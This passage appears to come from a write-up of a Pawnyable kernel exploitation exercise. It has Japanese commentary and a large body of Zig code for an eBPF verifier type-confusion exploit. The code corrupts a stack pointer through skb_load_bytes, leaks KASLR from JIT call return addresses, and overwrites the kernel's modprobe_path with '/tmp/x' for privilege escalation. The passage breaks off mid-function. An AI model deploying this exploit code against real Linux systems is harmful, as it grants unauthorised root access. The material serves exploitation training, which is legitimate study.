</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> progfd <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> BPF.<span style="color:#feacd0">prog_load</span>(.socket_filter, insns, <span style="color:#00d3d0">&amp;</span>log, <span style="color:#79a8ff">&#34;GPL v3&#34;</span>, <span style="color:#00bcff">0</span>, <span style="color:#00bcff">0</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> socks<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">2</span>]linux.fd_t <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">switch</span> (posix.<span style="color:#feacd0">errno</span>(linux.<span style="color:#feacd0">socketpair</span>(AF.UNIX, SOCK.DGRAM, <span style="color:#00bcff">0</span>, <span style="color:#00d3d0">&amp;</span>socks))) {
</span></span><span style="display:flex;"><span>        .SUCCESS <span style="color:#00d3d0">=&gt;</span> {},
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#00d3d0">|</span>e<span style="color:#00d3d0">|</span> <span style="color:#b6a0ff">return</span> posix.<span style="color:#feacd0">unexpectedErrno</span>(e),
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">switch</span> (posix.<span style="color:#feacd0">errno</span>(linux.<span style="color:#feacd0">setsockopt</span>(socks[<span style="color:#00bcff">0</span>], SOL.SOCKET, SO.ATTACH_BPF, std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>progfd), <span style="color:#00bcff">4</span>))) {
</span></span><span style="display:flex;"><span>        .SUCCESS <span style="color:#00d3d0">=&gt;</span> {},
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#00d3d0">|</span>e<span style="color:#00d3d0">|</span> <span style="color:#b6a0ff">return</span> posix.<span style="color:#feacd0">unexpectedErrno</span>(e),
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    _ <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> posix.<span style="color:#feacd0">write</span>(socks[<span style="color:#00bcff">1</span>], input);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">confirm_unpriviledged_bpf</span>() <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a8a8a8">// demonstrate that we don&#39;t have CAP_BPF or CAP_SYS_ADMIN by confirming that we can&#39;t load a BPF program that requires elevated capabilities.
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>    <span style="color:#b6a0ff">const</span> insns <span style="color:#00d3d0">=</span> [_]BPF.Insn{
</span></span><span style="display:flex;"><span>        .{
</span></span><span style="display:flex;"><span>            .code <span style="color:#00d3d0">=</span> BPF.CALL <span style="color:#00d3d0">|</span> BPF.JMP,
</span></span><span style="display:flex;"><span>            .dst <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>            .src <span style="color:#00d3d0">=</span> <span style="color:#00bcff">1</span>,
</span></span><span style="display:flex;"><span>            .off <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>            .imm <span style="color:#00d3d0">=</span> <span style="color:#00bcff">2</span>,
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">mov</span>(.r0, <span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">exit</span>(),
</span></span><span style="display:flex;"><span>    } <span style="color:#00d3d0">++</span> [_]BPF.Insn{
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">mov</span>(.r0, <span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">exit</span>(),
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">if</span> (BPF.<span style="color:#feacd0">prog_load</span>(.socket_filter, <span style="color:#00d3d0">&amp;</span>insns, <span style="color:#00bcff">null</span>, <span style="color:#79a8ff">&#34;GPL v3&#34;</span>, <span style="color:#00bcff">0</span>, <span style="color:#00bcff">0</span>)) <span style="color:#00d3d0">|</span>_<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>        std.log.<span style="color:#feacd0">warn</span>(<span style="color:#79a8ff">&#34;User is bpf_capable! (Are you running this as root?)&#34;</span>, .{});
</span></span><span style="display:flex;"><span>    } <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">|</span>err<span style="color:#00d3d0">|</span> <span style="color:#b6a0ff">switch</span> (err) {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">error</span>.AccessDenied <span style="color:#00d3d0">=&gt;</span> std.log.<span style="color:#feacd0">info</span>(<span style="color:#79a8ff">&#34;User is not bpf_capable&#34;</span>, .{}),
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">return</span> err,
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>

<h4 id="型混同プリミティブ">型混同プリミティブ</h4>
<p>型混同とは検証機にとあるレジスタは型アを納得する、でも本当は型イ。
普通なら簡単に​<code>r10</code>​に前述悪用なレジスタを加算する、だが一般ユーザなのでALU sanitizationは有効、そしてポインタ加減算はそう簡単にならない。
<kbd>skb_load_bytes</kbd>​を使えばオバーフローできるし、偶然天才的な発想を考えた：アドレスの最後バイトを0x00にするとアドレスに<math xmlns="http://www.w3.org/1998/Math/MathML" alttext="[0,255]" display="inline">
<mrow>
<mo stretchy="false">[</mo>
<mn>0</mn>
<mo>,</mo>
<mn>255</mn>
<mo stretchy="false">]</mo>
</mrow>
</math>
に引き算するは同じじゃねかッと思った。
この方法でeBPFの検証機を騙す、​<code>r1</code>​が​<code>r10-0x18</code>​である認識させるだが実際に​<code>r10-0x20</code>​であること：​<code>r1</code>​にロードをするば「型混同」はできる。</p>
<p>そういうわけでどうやってKASLRを破る？
eBPFのヘルパーを呼び出す命令はJIT後にx86の​<code>call</code>​命令になる：この命令と命令のアドレスをリークすればそのヘルパーのアドレスを割り出せるそしてカネールのベスアドレス分かりできた。</p>
<p>eBPFのヘルパー<sup id="fnref:9"><a href="#fn:9" class="footnote-ref" role="doc-noteref">9</a></sup>を呼び出す時に復帰アドレスはスタックにプッシュする。
偽​<kbd>sk_buff</kbd>​をスタックに作ると​<kbd>skb_load_bytes</kbd>​利用したら、スタックから復帰アドレスを読みできる（注記：スタックのアドレス一歳リークしてない、eBPF JITしたプログラムのアドレスをリークした）。</p>
<p><a id="code-snippet--lk06-exploit"></a></p>





  
  
    

  
  
    
    
  

  
  
    
    
  

  
  
    





  

  





<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><a href="#code-snippet--pawnyable-lib">&lt;&lt;pawnyable-lib&gt;&gt;</a>
</span></span><span style="display:flex;"><span><a href="#code-snippet--lk06-bpf">&lt;&lt;lk06-bpf&gt;&gt;</a>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> MODPROBE_PATH<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff81e37fe0</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> BPF_USER_RND_U32<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff810e4590</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">call_decoder</span>(address<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>, insn<span style="color:#00d3d0">:</span> []<span style="color:#b6a0ff">const</span> <span style="color:#6ae4b9">u8</span>) <span style="color:#6ae4b9">u64</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> builtin <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@import</span>(<span style="color:#79a8ff">&#34;builtin&#34;</span>);
</span></span><span style="display:flex;"><span>    std.debug.<span style="color:#feacd0">assert</span>(builtin.target.cpu.arch <span style="color:#00d3d0">==</span> .x86_64);
</span></span><span style="display:flex;"><span>    std.debug.<span style="color:#feacd0">assert</span>(insn[<span style="color:#00bcff">0</span>] <span style="color:#00d3d0">==</span> <span style="color:#00bcff">0xe8</span> <span style="color:#b6a0ff">and</span> insn.len <span style="color:#00d3d0">==</span> <span style="color:#00bcff">5</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> <span style="color:#00bcff">0xffffffff00000000</span> <span style="color:#00d3d0">|</span> ((address <span style="color:#00d3d0">+</span> insn.len) <span style="color:#00d3d0">+%</span> std.mem.<span style="color:#feacd0">bytesToValue</span>(<span style="color:#6ae4b9">u64</span>, insn[<span style="color:#00bcff">1</span>..<span style="color:#00bcff">5</span>]));
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">exploit_prologue</span>(mapfd<span style="color:#00d3d0">:</span> posix.fd_t) [<span style="color:#00bcff">26</span>]BPF.Insn {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> [_]BPF.Insn{
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">mov</span>(.r6, .r1),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">st</span>(.double_word, .r10, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x8</span>, <span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">ld_map_fd1</span>(.r1, mapfd),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">ld_map_fd2</span>(mapfd),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">mov</span>(.r2, .r10),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">add</span>(.r2, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x8</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">call</span>(.map_lookup_elem),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">jmp</span>(.jne, .r0, <span style="color:#00bcff">0</span>, <span style="color:#00bcff">2</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">mov</span>(.r0, <span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">exit</span>(),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">mov</span>(.r9, .r0),
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">ldx</span>(.double_word, .r1, .r9, <span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">rsh</span>(.r1, <span style="color:#00bcff">32</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">lsh</span>(.r1, <span style="color:#00bcff">32</span>),
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">alu</span>(<span style="color:#00bcff">64</span>, .mov, .r2, <span style="color:#f78fe7">@as</span>(<span style="color:#6ae4b9">i32</span>, <span style="color:#f78fe7">@bitCast</span>(<span style="color:#f78fe7">@as</span>(<span style="color:#6ae4b9">u32</span>, <span style="color:#00bcff">0xfffffffe</span>)))),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">lsh</span>(.r2, <span style="color:#00bcff">32</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">add</span>(.r2, <span style="color:#00bcff">1</span>),
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">alu_or</span>(.r1, .r2),
</span></span><span style="display:flex;"><span>        <span style="color:#a8a8a8">// R1 \in [1, 0] = 1
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">ldx</span>(.double_word, .r2, .r9, <span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">jmp</span>(.jle, .r2, <span style="color:#00bcff">1</span>, <span style="color:#00bcff">2</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">mov</span>(.r0, <span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">exit</span>(),
</span></span><span style="display:flex;"><span>        <span style="color:#a8a8a8">// R2 \in [0, 1] = 1
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">add</span>(.r1, .r2),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">alu</span>(<span style="color:#00bcff">32</span>, .mov, .r1, .r1),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">sub</span>(.r1, <span style="color:#00bcff">1</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">stx</span>(.double_word, .r10, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x10</span>, .r1),
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">exploit_stack_confusion</span>() [<span style="color:#00bcff">155</span>]BPF.Insn {
</span></span><span style="display:flex;"><span>    <span style="color:#a8a8a8">// results are stored in r7 (a frame pointer that the verifier thinks points to fp-0x18 but doesn&#39;t) and r8 (a frame pointer that points to the same place as the corrupted frame pointer but it is consistent with the verifier)
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>    <span style="color:#a8a8a8">// in other words, use r8 to load a malicious value, load the innocent value into r10-0x18, and load from r7 to get type confusion
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>    <span style="color:#b6a0ff">var</span> ret<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">155</span>]BPF.Insn <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> _insns <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">comptime</span> blk<span style="color:#00d3d0">:</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">var</span> insns<span style="color:#00d3d0">:</span> []<span style="color:#b6a0ff">const</span> BPF.Insn <span style="color:#00d3d0">=</span> <span style="color:#00d3d0">&amp;</span>.{};
</span></span><span style="display:flex;"><span>        insns <span style="color:#00d3d0">=</span> insns <span style="color:#00d3d0">++</span> [_]BPF.Insn{
</span></span><span style="display:flex;"><span>            <span style="color:#a8a8a8">// load fp-0x18 on the stack
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>            .<span style="color:#feacd0">mov</span>(.r1, .r10),
</span></span><span style="display:flex;"><span>            .<span style="color:#feacd0">add</span>(.r1, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x20</span>),
</span></span><span style="display:flex;"><span>            .<span style="color:#feacd0">stx</span>(.double_word, .r10, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x18</span>, .r1),
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>            .<span style="color:#feacd0">mov</span>(.r1, .r6), <span style="color:#a8a8a8">// skb-&gt;data == &#34;foobared\x00\x08&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>            .<span style="color:#feacd0">mov</span>(.r2, <span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>            <span style="color:#a8a8a8">// 8 bytes before the last byte of the to-be-corrupted stack pointer
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>            .<span style="color:#feacd0">mov</span>(.r3, .r10),
</span></span><span style="display:flex;"><span>            .<span style="color:#feacd0">add</span>(.r3, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x20</span>),
</span></span><span style="display:flex;"><span>            <span style="color:#a8a8a8">// r4 (expected: 0x8, actual: 0x9)
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>            .<span style="color:#feacd0">ldx</span>(.double_word, .r4, .r10, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x10</span>),
</span></span><span style="display:flex;"><span>            .<span style="color:#feacd0">add</span>(.r4, <span style="color:#00bcff">0x8</span>),
</span></span><span style="display:flex;"><span>            .<span style="color:#feacd0">call</span>(.skb_load_bytes),
</span></span><span style="display:flex;"><span>            <span style="color:#a8a8a8">// r7 = (fp-0x20) - [0, 0xf8]
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>            .<span style="color:#feacd0">ldx</span>(.double_word, .r7, .r10, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x18</span>),
</span></span><span style="display:flex;"><span>        };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#a8a8a8">// zero out the stack
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        <span style="color:#b6a0ff">for</span> (<span style="color:#00bcff">1</span>..<span style="color:#00bcff">0xf8</span><span style="color:#00d3d0">/</span><span style="color:#00bcff">8</span><span style="color:#00d3d0">+</span><span style="color:#00bcff">1</span>) <span style="color:#00d3d0">|</span>_i<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#b6a0ff">const</span> i<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">i16</span> <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@intCast</span>(_i);
</span></span><span style="display:flex;"><span>            insns <span style="color:#00d3d0">=</span> insns <span style="color:#00d3d0">++</span> [_]BPF.Insn{
</span></span><span style="display:flex;"><span>                .<span style="color:#feacd0">st</span>(.double_word, .r10, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x18</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span><span style="color:#00d3d0">*</span>i, <span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>            };
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        insns <span style="color:#00d3d0">=</span> insns <span style="color:#00d3d0">++</span> [_]BPF.Insn{
</span></span><span style="display:flex;"><span>            <span style="color:#a8a8a8">// load a special value somewhere on the stack
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>            .<span style="color:#feacd0">ldx</span>(.double_word, .r1, .r9, <span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>            .<span style="color:#feacd0">stx</span>(.double_word, .r7, <span style="color:#00bcff">0</span>, .r1), <span style="color:#a8a8a8">// r1 == 1, but the verifier doesn&#39;t know that
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>
</span></span><span style="display:flex;"><span>            <span style="color:#a8a8a8">// special case for if the pointer was left unchanged
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>            .<span style="color:#feacd0">ldx</span>(.double_word, .r1, .r10, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x20</span>),
</span></span><span style="display:flex;"><span>            .<span style="color:#feacd0">jmp</span>(.jne, .r1, <span style="color:#00bcff">1</span>, <span style="color:#00bcff">14</span>),
</span></span><span style="display:flex;"><span>            <span style="color:#a8a8a8">// this will always result in r7 being (expected: fp-0x20, actual: fp-0x18)
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>            .<span style="color:#feacd0">mov</span>(.r1, .r10),
</span></span><span style="display:flex;"><span>            .<span style="color:#feacd0">add</span>(.r1, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x20</span>),
</span></span><span style="display:flex;"><span>            .<span style="color:#feacd0">stx</span>(.double_word, .r10, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x18</span>, .r1),
</span></span><span style="display:flex;"><span>            .<span style="color:#feacd0">mov</span>(.r1, .r6),
</span></span><span style="display:flex;"><span>            .<span style="color:#feacd0">mov</span>(.r2, <span style="color:#00bcff">1</span>), <span style="color:#a8a8a8">// now the last byte is 0x8, not 0x0
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>            .<span style="color:#feacd0">mov</span>(.r3, .r10),
</span></span><span style="display:flex;"><span>            .<span style="color:#feacd0">add</span>(.r3, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x20</span>),
</span></span><span style="display:flex;"><span>            .<span style="color:#feacd0">ldx</span>(.double_word, .r4, .r10, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x10</span>),
</span></span><span style="display:flex;"><span>            .<span style="color:#feacd0">add</span>(.r4, <span style="color:#00bcff">0x8</span>),
</span></span><span style="display:flex;"><span>            .<span style="color:#feacd0">call</span>(.skb_load_bytes),
</span></span><span style="display:flex;"><span>            .<span style="color:#feacd0">ldx</span>(.double_word, .r7, .r10, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x18</span>),
</span></span><span style="display:flex;"><span>            .<span style="color:#feacd0">mov</span>(.r8, .r10),
</span></span><span style="display:flex;"><span>            .<span style="color:#feacd0">add</span>(.r8, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x18</span>),
</span></span><span style="display:flex;"><span>            .<span style="color:#feacd0">jmp</span>(.ja, .r0, <span style="color:#00bcff">0</span>, (<span style="color:#00bcff">0xf8</span><span style="color:#00d3d0">/</span><span style="color:#00bcff">8</span>)<span style="color:#00d3d0">*</span><span style="color:#00bcff">3</span><span style="color:#00d3d0">+</span><span style="color:#00bcff">2</span>), <span style="color:#a8a8a8">// &#34;exit&#34; by skipping the rest of the program
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>
</span></span><span style="display:flex;"><span>            .<span style="color:#feacd0">mov</span>(.r8, .r10),
</span></span><span style="display:flex;"><span>            .<span style="color:#feacd0">add</span>(.r8, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x18</span>),
</span></span><span style="display:flex;"><span>        };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#a8a8a8">// search the stack for the special value
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        <span style="color:#b6a0ff">for</span> (<span style="color:#00bcff">1</span>..<span style="color:#00bcff">0xf8</span><span style="color:#00d3d0">/</span><span style="color:#00bcff">8</span><span style="color:#00d3d0">+</span><span style="color:#00bcff">1</span>) <span style="color:#00d3d0">|</span>_i<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#b6a0ff">const</span> i<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">i16</span> <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@intCast</span>(_i);
</span></span><span style="display:flex;"><span>            insns <span style="color:#00d3d0">=</span> insns <span style="color:#00d3d0">++</span> [_]BPF.Insn{
</span></span><span style="display:flex;"><span>                .<span style="color:#feacd0">add</span>(.r8, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x8</span>),
</span></span><span style="display:flex;"><span>                .<span style="color:#feacd0">ldx</span>(.double_word, .r1, .r8, <span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>                .<span style="color:#feacd0">jmp</span>(.jeq, .r1, <span style="color:#00bcff">1</span>, (<span style="color:#00bcff">0xf8</span><span style="color:#00d3d0">/</span><span style="color:#00bcff">8</span><span style="color:#00d3d0">-</span>i)<span style="color:#00d3d0">*</span><span style="color:#00bcff">3</span>),
</span></span><span style="display:flex;"><span>            };
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">break</span> <span style="color:#00d3d0">:</span>blk <span style="color:#00d3d0">&amp;</span>insns;
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#f78fe7">@memcpy</span>(<span style="color:#00d3d0">&amp;</span>ret, _insns.<span style="color:#00d3d0">*</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> ret;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">overwrite_modprobe_path</span>() <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> mapfd<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">i32</span> <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> BPF.<span style="color:#feacd0">map_create</span>(.array, <span style="color:#f78fe7">@sizeOf</span>(<span style="color:#6ae4b9">i32</span>), <span style="color:#f78fe7">@sizeOf</span>(<span style="color:#6ae4b9">u64</span>), <span style="color:#00bcff">1</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> insns <span style="color:#00d3d0">=</span> <span style="color:#feacd0">exploit_prologue</span>(mapfd) <span style="color:#00d3d0">++</span> <span style="color:#feacd0">exploit_stack_confusion</span>() <span style="color:#00d3d0">++</span> [_]BPF.Insn{
</span></span><span style="display:flex;"><span>        <span style="color:#a8a8a8">// type confusion of r1 (expected: fp-0x8, actual: MODPROBE_PATH)
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        <span style="color:#feacd0">_ld_dw1</span>(.r1, MODPROBE_PATH),
</span></span><span style="display:flex;"><span>        <span style="color:#feacd0">_ld_dw2</span>(MODPROBE_PATH),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">stx</span>(.double_word, .r8, <span style="color:#00bcff">0</span>, .r1),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">mov</span>(.r1, .r10),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">add</span>(.r1, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x8</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">stx</span>(.double_word, .r10, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x20</span>, .r1),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">ldx</span>(.double_word, .r1, .r7, <span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#feacd0">_ld_dw1</span>(.r2, std.mem.<span style="color:#feacd0">bytesAsValue</span>(<span style="color:#6ae4b9">u64</span>, <span style="color:#79a8ff">&#34;/tmp/x</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span>).<span style="color:#00d3d0">*</span>),
</span></span><span style="display:flex;"><span>        <span style="color:#feacd0">_ld_dw2</span>(std.mem.<span style="color:#feacd0">bytesAsValue</span>(<span style="color:#6ae4b9">u64</span>, <span style="color:#79a8ff">&#34;/tmp/x</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span>).<span style="color:#00d3d0">*</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">stx</span>(.double_word, .r1, <span style="color:#00bcff">0</span>, .r2),
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">mov</span>(.r0, <span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">exit</span>(),
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">bpf_helper</span>(mapfd, <span style="color:#00d3d0">&amp;</span>insns, <span style="color:#79a8ff">&#34;foobar&#34;</span>);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">kaslr_leak</span>() <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">u64</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> mapfd<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">i32</span> <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> BPF.<span style="color:#feacd0">map_create</span>(.array, <span style="color:#f78fe7">@sizeOf</span>(<span style="color:#6ae4b9">i32</span>), <span style="color:#f78fe7">@sizeOf</span>(<span style="color:#6ae4b9">u64</span>), <span style="color:#00bcff">3</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> insns <span style="color:#00d3d0">=</span> <span style="color:#feacd0">exploit_prologue</span>(mapfd) <span style="color:#00d3d0">++</span> <span style="color:#feacd0">exploit_stack_confusion</span>() <span style="color:#00d3d0">++</span> [_]BPF.Insn{
</span></span><span style="display:flex;"><span>        <span style="color:#a8a8a8">// type confusion: r1 (expected: scalar, actual: fp)
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        .<span style="color:#feacd0">stx</span>(.double_word, .r8, <span style="color:#00bcff">0</span>, .r10),
